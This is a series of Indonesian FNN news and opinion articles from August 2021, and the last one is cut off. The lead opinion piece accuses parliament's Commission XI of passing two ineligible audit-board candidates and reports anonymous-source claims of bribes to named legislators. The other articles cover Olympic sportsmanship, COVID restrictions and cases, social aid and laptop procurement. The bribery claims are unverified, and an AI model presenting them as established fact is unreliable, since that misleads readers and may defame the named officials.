by Luqman Ibrahim Soemay Jakarta FNN – Komis XI DPR berkelit soal seleksi calon anggota Badan Pemeriksa Keuangan (BPK) yang nenggantikan Barullah Akbar yang pensiun Oktober 2021 nanti. Kini giliran tumpukan sampah yang bau amis, yang dibuat dan diproduksi oleh Komisi XI DPR, dibuang ke Mahkamah Agung. Publik diarahkan untuk mengalihkan semua kesalahan yang telah dibuat Komisi XI ke Mahkamah Agung. Dua calon anggota BPK, yaitu Nyoman Adhi Suryadnyana dan Hary Zacharias Seoratin jelas-jelas tidak memenuhi syarat administratif sebagai calon anggota BPK. Namun dalam tahan selekasi administratif, diloloskan oleh Komisi XI DPR. Setelah skandal ini diungkap Majalah FORUM Keadilan, Komisi XI panik. Lalu minta perlindungan ke Mahkamah Agung. Aliran lumpur dan sampahnya dialirkan ke Mahkamah Agung. Sebelumnya Komisi XI DPR melalui surat nomor 061/MS.V/KOM.XI/VI/2021 menyurati Ketua DPR, perihal Panyampaikan Daftar Nama Calon Anggota BPK RI, bahwa berdasarkan hasil pedaftaran dan seleksi administrasi calon anggota BPK RI, dalam rapat internal tanggal 24 Juni 2021, Komisi XI DPR telah memutuskan 16 nama calon anggota BPK yang memenuhi persyaratan administrasi. Berkaitan dengan keputusan yang dibuat Komisi XI tanggal 24 Juni 2021 itu, pimpinan DPR diminta untuk menyapaikannya kepada Dewan Pertimbangan Daerah (DPD untuk mendapatkan pertimbangan selama satu bulan. Terhitung sejak surat Pimpinan DPR diterima pimpinan DPD. Walampun dalam kenyataannya, pertimbangan DPD tidak selalu didengar oleh DPR. Nantinya pertimbangan DPD tidakp berpengaruh terhadap keputusan Komisi XI DPR. Dua diantara 16 orang calon anggota BPK yang diloloskan itu, ada yang aneh, yaitu Nyoman Adhi Suryadnyana dan Hary Zacharias Soeratin. Mereka bedua pejabat eselon dua dan tiga di Kementerian Keuangan. Baik Nyoman Adhi Suryadnyana maupun Hary Zacharias Soeratin boleh cukup dua tahun atau 24 bulan meninggalkan jebatan sebatan pejabat publik pengelola keuangan negara atau Kuasa Pengguna Anggaran (KPA). Hary Zacharias Soeratin sejak 13 Juli 2020 lalu diangkat Menteri Keuangan sebagai Sekretaris Direktorat Jendral Perbendaharaan Keuangan. Sementara Nyoan Adhi Suryadnyana baru 18 bulan meninggalkan jabatan sebagai Kepala Kantor Pengasawan dan Pelayanan Bea dan Cukai Tipe Madya Pabean C Manado, menjadi Kepala Bidang Kepabeanan dan Cukai di Kantor Wilayah Ditjen Bea dan Cukai Sulawesi Bagian Selatan sejak 20 Desember 2019 lalu. Dengan demikian, baik Hary Zacharias Seoratin maupun dan Nyoman Adhi Suryadnyana belum cukup 24 bulan meninggalkan jabatan mereka sebagai pejabat publik pengelola keuangan negara atau KPA. Maka secara admisntratif jelas-jelas bertentangan dengan syarat imperativ untuk menjadi calon anggota BPK. Namun masih diloloskan oleh Komisi XI DPR yang memang dungu, dongo, keleng-kaleng, odong-odong dan beleng-beleng. Padahal pasal 13 huruf (j) UU No. 15 Tahun 2006 tentang BPK telah memberikan batas yang jelas dan tegas. Tidak ada yang abu-abu, sehingga tidak perlu minta fatwa lagi ke Mahkamah Agung. Misalnya, sang calon harus telah meinggalkan jabatan sebagai pejabat publik pengelola keuangan negara atau KPA minilam dua tahun atau 24 bulan. Melalui surat nomor 075/MS/KOM.XI/VIII/2021 tertanggal 02 Agustus 2021 kepada Ketua DPR yang ditandatangani Ketua Komisi XI DPR, Dito Ganinduto, perihal Pemintaan Petimbangan Mahkamah Agung terkait Calon BPK RI, khususnya untuk Nyoman Adhi Suryadnyana dan Hari Zacharias Soeratin, Komisi XI meminta piminan DPR menyurati Mahkamah Agung untuk mendapatkan pendapat, pandangan atau fatwa Mahkamah Agung mengenai permasalahan tersebut. Mestinya sejak di selekasi administratif, nama Nyoman Adhi Suryadnyana dan Hary Zacharias Soeratin sudah gugur atau tidak diloloskan. Namun Nyoman masih lolos karena dodorong habis-habisan oleh Ketua Badan Anggaran DPR Said Abdullah yang menjadi anggota Komisi XI DPR. Akhirnya Nyoman lolos. Kalau hanya Nyoman saja yang lolos, maka terkesan Nyoman terlalu menonjol. Untuk itu, diloloskan lagi Hary Zacharis Soeratin. Jadinya, ada dua calan anggota BPK yang tidak memenuhi syarat administratif, namun sangaja diloloskan oleh Komisi XI DPR. Sekarang, giliran barang busuk yang berbau amis itu dilemparkan ke Mahkamah Agung. Kalau sampai diloskan dengan fatwa Mahkamah Agung, maka nanti Mahkamah Agung yang terkena image tentang barang busuk dan berbau amis tersebut. Berdasarkan informasi dan sumber yang didapat Majalah FORUM Keadilan dan FNN dari kalangan Komisi XI DPR, Said Abdullah berkepentingan meloloskan Nyoman, agar kelak bisa mengendalikan anggaran dari APBN. Dimulai dari perencanaan, pelaksanaan, sampai dengan pengawasan dan audit akhir dari BPK. Sebab hanya audit dari BPK yang menentukan pelaksanaan anggaran APBN itu mengandung korupsi atau tidak. Nyoman bukan saja didorong Said Abdullah. Menurut sumber Majalah FORUM dan FNN, Nyoman juga didukung atasannya Menteri Keuangan Sri Mulyani. Sebab hasil audit dan opini BPK belakangan mengenai penggunaan dana Covid Rp. 1.035 triliun dan potensi pemerintah tidak mampu membayar utang, membuat Sri Mulyani kini tidak nyaman. Untuk meloloskan Nyoman, anggaran yang digelontorkan untuk DPR tidak kecil. Dana sekitar Rp. 75 miliar disediakan untuk hajatan ini. Diperkirakan setiap anggota Komisi XI DPR didekati dengan uang antara Rp. 1,5 miliar sampai Rp. 1,7 miliar. Sementara untuk Ketua Poksi atau yang biasa disebut Kapoksi Rp. 2,5 sampai Rp. 4 miliar. Sedangkan untuk Ketua Fraksi, berkisar antara Rp 5 miliar sampai Rp. 10 miliar. Ketika ditanya asal-muasal uanganya, sumber FORUM dan FNN tak bersedia menyebut. Dilanjutkan sang sumber, bisa saja, baik itu Nyoman, Said Abdullah maupun Sri Mulyani tidak tahu-menahu dengan uang saweran kepada Komisi XI, Kapoksi dan pimpinan Fraksi DPR untuk meloloskan Nyoman itu. Namun kita lihat saja di ujung seperti apa? Apakah Nyoman lolos atau tidak? Yang pasti, soal meloloskan pejabat melalui fit and proper test di Komisi XI dengan sejumlah uang untuk anggota DPR, bukanlah hayalan.com semata. Meskipun dulu itu namanya Komisi IX, namun kasus Travel Cheque Miranda Gultom untuk menjadi Deputi Senior Gubernur Bank Indonesia menjerumuskan sejumlah anggota Komisi IX DPR, Miranda Gultom dan Nunun Nurbaetie, isteri Adang Daradjatun ke penjara. Masa iya sih, Komisi XI DPR mau mengulangi kesalahan yang sama lagi? Seperti kasus Travel Chaque Miranda Gultom dulu itu? Tupai saja tidak akan mau jatuh di lubang yang sama kedua kalinya. Harusnya Komisi XI hindari stigma sebagai DPR dungu, dongo, odong-odong, kaleng-kaleng dan beleng-beleng, dengan tidak melanjutkan Nyoman Adhi Suryadnyana dan Hary Zacharias ke proses fit and proper test. Bikin lagi saja keputusan Komisi XI yang baru. Hanya ada 14 nama calon anggota BPK. Tanpa ada nama Nyoman Adhi Suryadnyana dan Hary Zacharias Soeratin yang ikut fit and proper test. Sebab pasti bakal dibatalkan juga oleh Pengadilan Tata Usaha Negara (PTUN), karena cacat prosedur sejak awal. Penulis adalah Wartawan FNN.co.id

Ketika Barshim Memukul Wajah Dunia Yang Penuh Egoisme

Catatan kisah Barshim-Tamberi Final lompat tinggi Olimpiade Tokyo 2021 Oleh M. Nigara RASANYA kita ingin terus dan terus mengulang kehebatan Mutaz Essa Barshim atlet lompat tinggi Qatar dan Gianmarco Tamberi, Italia. Keduanya suka atau tidak, langsung atau tidak, telah menampar wajah siapa pun yang selalu mendahulukan kepentingan diri sendiri. Memukul mereka yang mengedepankan ego. Kisahnya tak perlu saya ulang, ya keduanya sama-sama mampu melompati mistar 2,37 meter. Tapi pada titik tertentu, atlet Italia, Tamberi mengalami cedera. Barshim tinggal sendiri. Ia bisa melakukan apa saja. Hebatnya, atlet Qatar itu justru meminta pejabat yang berwenang untuk berdiskusi. Pertanyaannya sederhana. "Mungkinkah kami bisa memperoleh medali emas bersama?" Barshim tidak mengatakan, lawannya sudah cedera, maka dia berhak atas medali emas apa pun yang terjadi pada kesempatan terakhirnya. Sang pejabat yang berwenang pun tak ragu menjawab: "Bisa!" Maka terjadilah adegan indah, sang atlet Italia melompat memeluknya. Mereka bergembira bersama. Dan gemparlah dunia. Nama Barshim dan Tamberi serta merta melonjak ke puncak pujian dunia. Andai saja Barshim egois, maka Tamberi hanya akan memperoleh perak, dan dunia juga tidak akan mengecam Barshim, karena olimpiade adalah tempat pertarungan. Lazimnya pertarungan pasti ada yang kalah atau menang. Tapi tidak bagi atlet yang di dalam jiwanya bersemayam falsafah: Peacefull (Kedamaian), Friendship (Persahabatan), Exellence (Keunggulan), dan Respect (Menghargai). Itulah yang diperlihatkan oleh tiga pihak Barshim, Tamberi, dan pejabat yang bertugas. Bukan yang pertama Meski tidak sama persis, tapi karena keempat unsur di atas, beberapa peristiwa juga pernah terjadi. Sekali lagi napas olahraga yang murni adalah persahabatan. Jadi, jika hanya untuk menang atlet, ofisial, atau siapapun mau menggunakan hal-hal kotor, saya kira kita patut 'menghukum' mereka. Arip Nurhidayat, atlet _longboard_ Indonesia di Sea Games, Filiphina 2019. Bertarung di ronde ketiga melawan Roger Casugay, atlet tuan rumah. Dalam satu hempasan ombak di pantai Monaliza Point, San zjuan, La Union, Arif terhempas. Tali di kakinya terlepas, ia tenggelam dalam gulungan ombak. Roger, melihat adegan itu. Ia melompat, menerjang gelombang untuk menolong sang lawan. Lho, kok? Bukankah itu kesempatan bagi roger untuk menang? "Tidak, Arip adalah sahabat. Nyawanya jauh lebih berharga dari sekedar kemenangan untuk saya," katanya. Sikapnya ini membuahkan rasa bangga sang Presiden Rodrigo Duterte. "Saya bangga kepadamu!" tukas Duterte singkat. Buahnya Roger diberikan penghargaan sebagai Atlet Fair Play, Seag 2019. Dalam Kejuaraan Atletik Dunia 2018 di Doha, Qatar. Di nomor 5000 meter putra, adegan yang mirip juga terjadi. Drama menyelamatkan lawan ketimbang meraih kemenangan. Adalah Braima Suncar Dabo, pelari asal Guinea-Bissau di final 5000 meter melepas kesempatannya untuk menang dan memilih membantu Johnathan Busby dari Aruba. Sekali lagi, sang atlet mengatakan kemenangan tak seberharga ketimbang menolong orang. Pelari dari Aruba itu oleng dan mengalami kesulitan. Dabo menghentikan larinya, ia hampiri sang pesaing, ia rangkul dan ia papah hingga mereka berdua mencapai garis finis sebagai pelari terakhir. Nomor itu dimenangkan olrh pelari asal Ethiopia, Selemon Barega. Tapi Dabo memenangkan hati puluhan juta pemerhati atletik dunia. Sikapnya terus jadi pembicaraan yang baik bagi banyak orang. Tidak ada yang kebetulan dalam dunia ini, ketiganya sepertinya, maaf, dikirim oleh Allah untuk kita semua. Roger dan Dabo jauh sebelum pandemi, sementara Barshim dan Tamberi di saat pandemi covid-19 masih menggila. Sepertinya kita semua ditegur. Kita semua harus mau menurunkan ego masing-masing untuk menghadapi pandemi ini. Mereka mempertontonkan kejujuran, kemuliaan, persahabatan, dan kebersamaan jauh lebih indah ketimbang mengedepankan ego sendiri-sendiri yang ujungnya merugikan orang yang lebih banyak... Tak ada yang bisa diselesaikan dengan baik tanpa campur tangan orang lain. Saatnya kita benar-benar bergandengan tangan. Tanpa itu, maka siapa pun kita, sebesar apa pun kita, pasti hancur. Semoga bermanfaat.... Penulis adalah Wartawan Olahraga Senior dan Mantan Wa-Sekjen PWI

Anggota Dewan Minta Pemerintah Maksimalkan Distribusi Bantuan Sosial

Jakarta, FNN - Wakil Ketua Komisi VIII DPR RI Ace Hasan Syadzily meminta pemerintah agar maksimal dalam pendistribusian bantuan sosial (bansos) setelah kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 diperpanjang hingga 9 Agustus mendatang. "Pemerintah harus lebih maksimal dalam mendistribusikan bantuan sosial. Saya melihatnya belum maksimal. Program rutin bansos saja, seperti Program Keluarga Harapan (PKH) dan Bantuan Pangan Non Tunai (BPNT) belum tersalurkan dengan baik," kata Ace dalam keterangannya di Jakarta, Selasa, 3 Agustus 2021. Apalagi, lanjutnya, program-program yang ditujukan sebagai jaring pengaman sosial dari dampak PPKM ini, seperti BST (Bantuan Sosial Tunai) jumlah penerimanya jauh lebih banyak. Dia menjelaskan program PKH hingga Juli 2021 terealisasi Rp 5,15 triliun bagi 7,44 juta Keluarga Penerima Manfaat (KPM). Padahal, target penerima bantuan PKH mencapai 10 juta KPM, selain Kartu Sembako yang pada Juli 2021 terealisasi Rp 9,4 triliun untuk 15,67 juta KPM dengan jumlah KPM sebanyak 18 juta. "Jadi, program reguler saja belum tersalurkan secara maksimal, apalagi program baru, seperti BST," ujar Ace sebagaimana dikutip dari Antara. Menurut Ace, proses penyaluran program PKH sesungguhnya cukup jelas karena langsung ke rekening yang dimiliki KPM yang ditransfer oleh Himbara (Himpunan Bank-Bank Negara). Dia mengatakan seharusnya hal itu membuat tidak ada kendala untuk menyalurkannya secara langsung kepada masyarakat. Demikian juga dengan program Kartu Sembako atau BPNT yang merupakan program rutin Kementerian Sosial (Kemensos). Ada atau tidak ada pandemi COVID-19, menurut Ace, program itu seharusnya bisa berjalan dengan maksimal. "Apalagi pada saat pandemi. Seharusnya program tersebut dapat membantu masyarakat dengan penerima yang lebih luas," ujarnya. Tidak hanya fokus di bansos, politisi Partai Golkar itu juga menyoroti vaksinasi COVID-19. Dia meminta pemerintah harus mencari terobosan agar vaksinasi COVID-19 bisa dilakukan tanpa terkendala akibat akses masyarakat untuk mendapatkan vaksin. Jika diperlukan, Ace menyarankan agar di berbagai tempat-tempat berkumpulnya warga, seperti pusat perbelanjaan, pasar, rumah ibadah, balai warga, dan lain-lain dapat disediakan tempat vaksinasi. Sehingga bisa terjangkau masyarakat, yang juga harus disertai petugas vaksinator sesuai dengan ketentuan medis. Sebelumnya, Presiden Joko Widodo (Jokowi) memperpanjang penyesuaian PPKM level 4 mulai 3 sampai 9 Agustus 2021 pada Senin (2/8). Perpanjangan itu dilakukan dengan penyesuaian aktivitas mobilitas masyarakat sesuai dengan kondisi masing-masing daerah. Ace mengatakan, meskipun pemerintah telah melakukan evaluasi secara menyeluruh atas kebijakan PPKM yang didasarkan pada penilaian tertentu seperti konfirmasi kasus harian, tingkat kasus aktif, tingkat kesembuhan dan persentase Bed Occupancy Rate (BOR) atau tingkat keterisian tempat tidur di rumah sakit, hal itu dia nilai masih belum aman. "Penilaian atas berbagai indikator tersebut masih belum aman walaupun sudah ada perbaikan," katanya. Dia menyebutkan, masyarakat harus tetap didorong untuk melakukan pengetatan mobilitas, disiplin protokol kesehatan. Upaya testing, tracking dan treatment harus terus digencarkan sehingga dapat mendeteksi penyebaran COVID-19, terutama di luar Jawa. (MD).

Polisi Perpanjang Penyekatan di Perbatasan Bengkulu-Sumbar

Mukomuko, FNN - Kepolisian Resor Kabupaten Mukomuko, Bengkulu, memperpanjang penyekatan di perbatasan dengan Kabupaten Pesisir Selatan, Provinsi Sumatera Barat, guna mencegah penyebaran COVID-19 di daerah ini. “Kita masih memperpanjang penyekatan di perbatasan dengan Kabupaten Pesisir Selatan, Provinsi Sumatera Barat sampai tanggal 9 Agustus 2021,” kata Kabag Operasional Kepolisian Resor Mukomuko, Kompol Hasdi, dalam keterangannya di Mukomuko, Selasa. Polres Mukomuko memperpanjang penyekatan di perbatasan dengan Kabupaten Pesisir Selatan untuk menindaklanjuti perintah Kepolisian Daerah Bengkulu. Dia mengatakan berdasarkan perintah Polda Bengkulu, personel polres melakukan kegiatan penyekatan selama masa PPKM level tiga hingga tanggal 9 Agustus 2021. Ia mengatakan sejumlah personel Satuan Lalu Lintas Polres Mukomuko hingga kini melakukan penjagaan di pos penyekatan selama PPKM level tiga di perbatasan dengan Kabupaten Pesisir Selatan. Menurut dia, personel polres yang berada di perbatasan dengan Provinsi Sumatera Barat bisa ditarik setiap saat karena personel menyesuaikan dengan kondisi yang ada. Polres, katanya, mendirikan pos penyekatan di perbatasan dengan Kabupaten Pesisir Selatan, tepatnya di wilayah Kecamatan Lubuk Pinang. Masyarakat yang memasuki wilayah Kabupaten Mukomuko dari Kabupaten Pesisir Selatan, katanya, wajib memperlihatkan surat vaksin dan surat keterangan tes antigen. Bahkan, Satuan Lalu Lintas Polres Mukomuko sejak beberapa hari ini masih menggelar Operasi Yustisi di Jalan Lintas Sumatera guna menegakkan protokol kesehatan. Polres melaksanakan kegiatan Operasi Yustisi kepada masyarakat dan pengendara yang tidak mematuhi protokol kesehatan COVID-19, seperti tidak memakai masker. (sws)

KPK Awasi Pengadaan Laptop untuk Pelajar

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) bakal mengawasi proses pengadaan laptop buatan dalam negeri untuk para pelajar oleh Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi (Kemendikbudristek). "KPK dan aparat penegak hukum lain tetap melakukan pengawasan terkait setiap penggunaan uang negara," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. KPK meminta pengadaan tersebut dilakukan secara transparan dan akuntabel. "KPK mengingatkan pelaksana kegiatan dimaksud agar dilakukan secara transparan dan akuntabel," ucap Ali. Selain itu, kata dia, proses pengadaan harus dilakukan sesuai mekanisme dan aturan-aturan yang berlaku. "Pelaksanaan kegiatan harus dipastikan dilakukan sesuai mekanisme dan aturan-aturan pengadaan yang berlaku," kata dia. Sebelumnya, Wakil Ketua Komisi III DPR RI Ahmad Sahroni meminta KPK ikut mengawasi proses pengadaan 240.000 unit laptop buatan dalam negeri pada tahun 2021 dengan anggaran sebesar Rp2,4 triliun untuk para pelajar. "Untuk kami di Komisi III DPR RI pengadaan apa pun yang sifatnya menggunakan anggaran harus diperhatikan KPK dalam semua prosesnya. Hal ini tidak lain untuk mengantisipasi potensi korupsi, apalagi karena ini jumlahnya besar," kata Sahroni dalam keterangannya di Jakarta, Senin (2/8). Menurut dia, langkah pengawasan itu sangat penting agar proses pengadaan transparan dan bisa dipertanggungjawabkan. Sahroni mengatakan dirinya tidak mempermasalahkan polemik di masyarakat yang menilai harga laptop terlalu mahal, namun yang terpenting adalah prosesnya diawasi KPK. Pengadaan laptop itu merupakan bagian dari program digitalisasi sekolah oleh Kemendikbudristek yang disalurkan melalui dana alokasi khusus (DAK) fisik kepada pemerintah daerah (pemda). (sws)

Sejumlah Nakes Terpapar COVID-19, Pelayanan UGD PKM Nunukan Dibatasi

Nunukan, FNN - Sehubungan dengan sejumlah tenaga kesehatan baik dokter maupun perawat jaga yang terpapar COVID-19, maka pelayanan pada Unit Gawat Darurat (UGD) Pusat Kesehatan Masyarakat (PKM) Kecamatan Nunukan, Kabupaten Nunukan, Kaltara, dibatasi. Berdasarkan pengumuman yang diterbitkan oleh PKM Nunukan bahwa layanan UGD sebelumnya berlangsung selama 24 jam maka hingga waktu yang belum ditentukan akan dibatasi hanya sampai pukul 21.00 Wita. "Sehubungan dengan adanya beberapa orang tenaga dokter dan perawat jaga UPT Puskesmas Nunukan yang terkonfirmasi positif COVID-19 layanan UGD 24 jam dibatasi hanya sampai pukul 21.00 Wita saja," demikian pengumuman yang dikeluarkan PKM Nunukan, yang dipantau Selasa ini. PKM Nunukan juga meminta maaf kepada masyarakat karena pelayanan tidak dapat dilakukan secara maksimal dengan membatasi jam layanan mulai pukul 08.00 Wita hingga pukul 21.00 Wita. Bahkan masyarakat atau pasien yang membutuhkan pelayanan di atas waktu tersebut agar langsung ke RSUD Nunukan. Pembatasan layanan UGD PKM Nunukan mulai berlangsung sejak 2 Agustus 2021 hingga dokter dan perawat selesai menjalani isolasi mandiri. Kepala UPT PKM Nunukan dr Ika yang dihubungi via telepon selulernya, Selasa, belum mendapatkan jawaban. Telepon selulernya masih belum diaktifkan. (sws)

Puluhan Personel Polres Mimika Terpapar COVID-19

Timika, FNN - Kapolres Mimika AKBP IGG Era Adhinata mengemukakan 20 anggotanya saat ini melakukan program isolasi mandiri karena terpapar COVID-19 yang diduga terpapar saat mereka berintreaksi dengan warga masyarakat. "Ada 20 orang anggota yang sekarang melakukan isolasi mandiri setelah dilakukan pemeriksaan cepat antigen. Tim akan mendatangi rumah mereka untuk memeriksakan anggota keluarganya, lalu di rumah mereka akan dipasangi stiker isolasi mandiri supaya semua orang melakukan pengawasan bersama-sama," kata AKBP Era Adhinata di Timika, Selasa. Ia juga menjelaskan bahwa jumlah korban meninggal dunia akibat terpapar COVID-19, khusus di lingkungan keluarga besar Polres Mimika tercatat sudah sekitar 10 orang. "Beberapa hari lalu ada anggota kami yang bertugas di Polsek Mimika Baru meninggal dunia karena positif COVID-19. Ada juga anggota Bhayangkari yang menjadi korban dan keluarga besar Polres Mimika lainnya sudah banyak yang menjadi korban COVID-19 yang menular sangat cepat," ujar AKBP Era Adhinata. Kapolres menyebut bahwa anggota Polri dan TNI yang setiap saat membantu pemerintah, baik dalam hal melakukan pengamanan maupun memfasilitasi gerai vaksin berisiko besar terpapar wabah COVID-19. "Memang anggota kami sebagai garda terdepan sangat berisiko, karena setiap saat selalu kontak dengan warga masyarakat, apalagi warga masyarakat masih banyak yang tidak percaya, bahkan tidak mau tahu dengan protokol kesehatan," ujar Kapolres Mimika. Menurut dia, para pejabat terkait di lingkungan Polres Mimika kini dihadapkan dengan beban tugas dan tanggung jawab untuk bersama-sama unsur Pemkab Mimika dalam melakukan upaya pencegahan COVID-19, terutama dalam hal mendeteksi dini terhadap orang-orang yang terpapar COVID-19. "Sekarang ini semua aparat babinsa, babinkamtibmas bekerja sama dengan para tokoh masyarakat, tokoh agama dan dinas kesehatan turun langsung ke lapangan untuk melakukan swab antigen kepada orang-orang terdekat dari mereka yang sudah positif COVID-19. Ini butuh kerja sama yang harmonis supaya mereka yang berpotensi menularkan COVID-19 ke orang lain bisa segera dideteksi, kemudian melakukan isolasi mandiri dengan pengawasan melekat dari semua pihak," katanya. Mengingat penularan COVID-19 di Mimika kini semakin meningkat dengan jumlah korban meninggal dunia yang terus bertambah, Polres Mimika menyiagakan layanan bebas pulsa call center 110 selama 1x24 jam agar warga bisa melaporkan jika ada yang membutuhkan pertolongan terkait kasus COVID-19. "Apabila ada warga masyarakat yang merasa terpapar COVID-19 dan membutuhkan pertolongan segera, silakan menghubungi call center 110. Tim kami akan berkoordinasi dengan PIC 119 Dinas Kesehatan Mimika untuk mendatangi alamat penelepon untuk melakukan swab antigen atau mengevakuasi korban ke rumah sakit terdekat," kata Era Adhinata. Hingga Senin (1/8), jumlah kumulatif COVID-19 di Mimika mencapai 8.624 orang, dengan jumlah pasien sembuh 7.513 orang, dan jumlah kasus kematian akibat COVID-19 sebanyak 129 orang atau 1,49 persen dari kumulatif kasus. Kasus kematian tertinggi akibat COVID-19 di Mimika terjadi pada periode 1 Juli hingga 31 Juli 2021 sebanyak 67 orang dengan rata-rata kasus kematian per hari mencapai 4,5 kasus. (sws)

Pasien Sembuh dari COVID-19 di Palangka Raya Bertambah 54 Orang

Palangka Raya, FNN - Wali Kota Palangka Raya Fairid Naparin mengatakan pasien yang dinyatakan sembuh dari paparan COVID-19 di kotanya bertambah 54 orang sehingga akumulasi kasus sembuh mencapai 8.027 jiwa atau 82,03 persen dari total kasus positif. "Data tersebut berdasar laporan Satgas COVID-19 kemarin. Meski tingkat kesembuhan cukup tinggi tapi protokol kesehatan harus terus diterapkan secara ketat," kata Fairid di Palangka Raya, Selasa. Satgas Palangka Raya masih mencatat penambahan 32 kasus positif COVID-19 sehingga akumulasi warga Palangka Raya yang positif terjangkit virus tersebut mencapai 9.785 orang. Selanjutnya berdasar data Satgas COVID-19 Palangka Raya di wilayah "Kota Cantik" warga yang positif dan masih menjalani perawatan sebanyak 1.359 orang atau sebanyak 13,89 persen dari total kasus positif. Dari seluruh kasus COVID-19 yang ada juga tercatat sebanyak 399 orang di Ibu Kota Provinsi Kalimantan Tengah ini meninggal dunia usai terjadi penambahan 12 kasus warga meninggal. Data tersebut berhasil dihimpun dari seluruh wilayah di Kota Palangka Raya mencakup lima kecamatan yang mencakup 30 kelurahan. Bertambahnya kasus COVID-19 tersebut, menurut dia, juga bentuk keseriusan pemerintah kota dalam melakukan penelusuran kontak erat antara masyarakat dengan pasien positif. Sebagai upaya pemutusan rantai penyebaran COVID-19, Pemerintah Kota Palangka Raya, melalui tim gugus tugas terus melakukan berbagai upaya mulai dari sosialisasi, deteksi dini, pengamanan hingga penanganan kasus. Pemerintah Kota Palangka Raya pun mengajak masyarakat di wilayah Ibu Kota Provinsi Kalimantan Tengah untuk selalu menerapkan protokol kesehatan COVID-19 sebagai upaya meminimalkan potensi dan mencegah mata rantai penyebaran COVID-19 yang tak kunjung usai. Pemerintah juga memperketat pemberlakuan PPKM skala mikro untuk memperkuat pencegahan dan penanganan COVID-19 di tingkat bawah. "Sementara untuk mengantisipasi kekurangan pasokan oksigen untuk penanganan pasien COVID-19 di rumah sakit kami juga terus berkoordinasi dengan berbagai pihak baik pemerintah provinsi maupun para distributor gas oksigen," kata Fairid. (sws)

BPJAMSOSTEK dan IAPI Ajak Akuntan Pahami Pentingnya Jaminan Sosial

Jakarta, FNN - BPJAMSOSTEK bersama dengan Ikatan Akuntan Publik Indonesia (IAPI) menggelar webinar bertema Perlindungan Pekerja Melalui Jaminan Sosial Ketenagakerjaan dan Aspek Akuntansi Iuran Bagi Perusahaan untuk memberi pemahaman pentingnya perlindungan jaminan sosial bagi akuntan. Kegiatan yang disiarkan secara daring, dibuka secara resmi oleh Direktur Kepesertaan BPJAMSOSTEK Zainudin dan turut hadir Ketua Umum IAPI Tarkosunaryo, demikian rilis yang diterima di Jakarta, Selasa. Tarkosunaryo dalam sambutannya mengajak seluruh peserta untuk memanfaatkan webinar ini untuk dapat lebih memahami pentingnya perlindungan jaminan sosial serta perlakuan akuntansi terkait iuran BPJAMSOSTEK. Zainudin dalam sambutannya menyatakan semua profesi pasti memiliki risiko, tidak hanya bagi profesi yang pekerja di lapangan, tetapi juga bagi pekerja kantoran seperti para akuntan. "Para akuntan, baik KAP maupun auditor/akuntannya, harus menjadi role model perlindungan jaminan sosial. Apalagi jaminan sosial ini bersifat mandatory, jika belum jadi peserta dan belum melaporkan data dengan benar maka belum comply dengan regulasi," kata Zainudin. BPJAMSOSTEK kini memiliki lima program perlindungan yaitu Jaminan Kecelakaan Kerja (JKK), Jaminan Hari Tua (JHT), Jaminan Pensiun (JP), Jaminan Kematian (JKm), serta program terbaru Jaminan Kehilangan Pekerjaan (JKP). Kelimanya memiliki manfaat yang beragam diantaranya perawatan tanpa batas biaya sesuai kebutuhan medis bagi peserta yang mengalami kecelakaan kerja, santunan sementara tidak mampu bekerja (STMB) sebesar 100 persen gaji selama 12 bulan pertama, dan 50 persen untuk bulan selanjutnya hingga sembuh jika peserta dalam masa pemulihan dan tidak dapat bekerja untuk sementara waktu. Manfaat lain, santunan 48 kali upah terakhir yang dilaporkan untuk peserta BPJAMSOSTEK yang meninggal karena kecelakaan kerja. Selain itu masih ada manfaat berupa santunan kematian sebesar Rp42 juta bagi peserta yang meninggal bukan karena kecelakaan kerja, dan beasiswa untuk dua anak mulai dari jenjang pendidikan dasar (TK) hingga perguruan tinggi maksimal 174 juta. Sedangkan untuk JKP, ada tiga manfaat yang diberikan yaitu uang tunai, akses informasi pasar kerja dan pelatihan kerja. Zainudin juga mengajak seluruh peserta webinar untuk menjadi role model dengan memastikan program jaminan sosial ketenagakerjaan terlaksana dengan baik di perusahaan yang sedang diperiksa oleh para akuntan publik, sebab Jamsostek ini merupakan program mandatori dari negara. Sementara itu, Pejabat pengganti sementara (Pps.) Kacab BPJAMSOSTEK Jakarta Pluit Ridwan mendukung kerjasama itu karena bernilai strategis memberi pemahaman dan perlakuan akuntansi pada iuran. "Webinar ini menambah wawasan bagi peserta dan semakin banyak masyarakat yang sadar pentingnya jaminan sosial ketenagakerjaan,” kata Ridwan. (sws)

Wagub Jabar: Pelaku UMKM Butuh Akses Keilmuan untuk Digitalisasi

Jakarta, FNN - Wakil Gubernur Provinsi Jawa Barat Uu Ruzhanul Ulum mengatakan bahwa pelaku Usaha Mikro, Kecil, dan Menengah (UMKM) membutuhkan akses keilmuan untuk menjawab tantangan digitalisasi. Akses keilmuan, seperti pelatihan dan pendekatan, dapat menjadi solusi dari masalah dasar yang dialami oleh para pelaku UMKM dalam implementasi program digitalisasi oleh pemerintah, kata Uu di seminar dalam jaringan (daring) Securities Crowdfunding sebagai Alternatif Pendanaan bagi Usaha Mikro, Kecil, dan Menengah (UMKM), Selasa. Pelaku UMKM dituntut untuk dapat memanfaatkan teknologi dan media sosial demi meningkatkan penjualan mereka dan bertahan di tengah pandemi COVID-19, namun masih belum terdapat keahlian yang memadai. Mengutip dari laman resmi Pemerintah Daerah Provinsi Jawa Barat, salah satu faktor yang mengakibatkan UMKM menjadi sektor yang paling terkena dampak COVID-19 adalah, bisnis UMKM yang masih dijalankan di luar jaringan (offline) oleh sebagian besar pelaku UMKM. “Dunia gadget dan dunia medsos (media sosial) bukan lagi barang mewah, tetapi telah menjadi barang pokok dari setiap kegiatan UMKM. Ini yang menjadi kendala mereka,” tutur Wakil Gubernur Jawa Barat. Oleh sebab itu, Uu berharap Otoritas Jasa Keuangan (OJK) tidak hanya menyelenggarakan program yang mengatasi permasalahan modal. Ia juga berharap OJK menyelenggarakan pelatihan-pelatihan yang dapat meningkatkan keahlian dan keilmuan para pelaku UMKM untuk menjawab tantangan digitalisasi. “Saya harap, OJK dengan segala programnya ada perhatian di samping memberikan modal. (Perhatikan, red) juga kelemahan-kelemahan yang tadi kami sampaikan,” ucap Uu menambahkan. Selain permasalahan digitalisasi, masih terdapat masalah dasar lainnya yang juga dihadapi oleh para pelaku usaha mikro. “Mereka membutuhkan akses terhadap modal dan akses untuk menjual hasil produk 